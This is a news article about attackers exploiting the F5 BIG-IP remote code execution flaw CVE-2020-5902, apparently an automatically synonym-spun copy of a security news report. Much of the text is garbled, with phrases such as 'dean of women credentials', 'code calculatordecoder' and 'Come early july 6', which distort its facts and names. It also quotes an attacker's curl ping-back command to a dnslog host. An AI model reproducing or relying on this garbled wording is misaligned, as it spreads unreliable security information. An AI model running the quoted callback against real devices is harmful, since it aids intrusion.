Enemies are breaching F5 BIG-IP devices, check whether you’ve gotten been hit – Inform Net Security

Attackers are positively trying to exploit CVE-2020-5902, a key vulnerability affecting F5 Networks ‘ BIG-IP multi-purpose web 2 . 0 devices, to install coin-miners, IoT malware, or to scrape dean of women credentials from the hacked tools.

When it comes to CVE-2020-5902

CVE-2020-5902 is a critical remote standards|code calculatordecoder} execution vulnerability in the configuration interface (aka Traffic Remedies User Interface – TMUI) with regards to BIG-IP devices used by a bit of the world’s biggest companies.

It was unearthed effectively CVE-2020-5903 , a less required XSS vulnerability that enables exercising malicious JavaScript code suggestions logged-in user on BIG-IP devices, by Positive Devices researcher Mikhail Klyuchnikov.

To exploit CVE-2020-5902, another attacker needs to send good specifically crafted HTTP call to the server hosting all the Traffic Management User Interface (TMUI) utility for BIG-IP settings.

“By taking advantage of this vulnerability, a remote opponent with access to the BIG-IP configuration utility could, getting authorization, perform remote the particular|code calculatordecoder} execution. The attacker can create or delete files, eliminate services, intercept information, roam arbitrary system commands and moreover Java code, completely skimp on the system, and pursue virtually any targets, such as the internal remaining, ” the researcher noted .

“RCE in this case results from security disadvantages in multiple components, including one that allows directory traversal exploitation. This is particularly noxious for companies whose F5 BIG-IP web interface is listed on search engines such as Shodan. Fortunately, most companies using the device do not enable access to currently the interface from the internet. ”

Shodan shows around 8, 500 insecure devices available on the internet, nearly little less than a half of which are in the U. After hour.

Active production

F5 Affiliate networks published security advisories to both flaws last Friday, just as the U. Beds. was looking forward to the stretched Independence Day weekend.

Both the company properly U. S. Cyber Command exhorted admins when Friday to check whether this special F5 BIG-IP web ports were exposed on the internet and on the way to implement the offered salle before the weekend starts.

At the time, there was without public exploit available for CVE-2020-5902, but some soon became obtainable . A Metasploit module is also in the works.

Finally, opportunistic body of matter scanning for vulnerable gadgets started during the weekend , and exploits started truly leveraged by various opponents:

Around this morning we are seeing an uptick in RCE attempts to bar our honeypots, using a biochemistry combined with either the public Metasploit element, or similar via Python. Also a large wave with regards to attacks coming from 🇨🇳 where do a ping back indicates of:

curl < vulnip>. < id>. dnslog[.]cn

— Rich Warren (@buffaloverflow) Come early july 6, 2020

What to do?

In obedience to F5 Networks, BIG-IP internet marketing devices are used as vpn server load balancers, application fixed point delivery controllers, access gateways, and so forth by 48 of the Considerable amount of money 50 companies. They are utilized by ISPs and governments.

As noted prior to, F5 Networks released fixed software tool versions a week ago as well as helpful risk mitigation advice if patching could be impossible at this moment.

For organizations that didn’t get around to any of it, Msft cybersecurity pro Kevin Beaumont offers the following advice:

So men and women are scraping secrets (credentials) to off BIG-IP boxes in an currency trading fashion. If you didn’t patches before the weekend I think you will rotate creds and look logs after patching concentrating on you’re back in work.

— Kevin Beaumont (@GossiTheDog) July 5, 2020

SANS ISC handler Dider Stevens has also currently offered effective links and advice .

RENEW (July 8, 2020, quite a few: 42 a. m. PT):

Attackers remain bypassing one of these mitigations originally provided by F5 Networks, so any service provider that applied it option patching their F5 BIG-IP boxes should take action rapidly and check whether their whole devices have been compromised at the same time.

Source of this news: https://www.helpnetsecurity.com/2020/07/06/exploit-cve-2020-5902/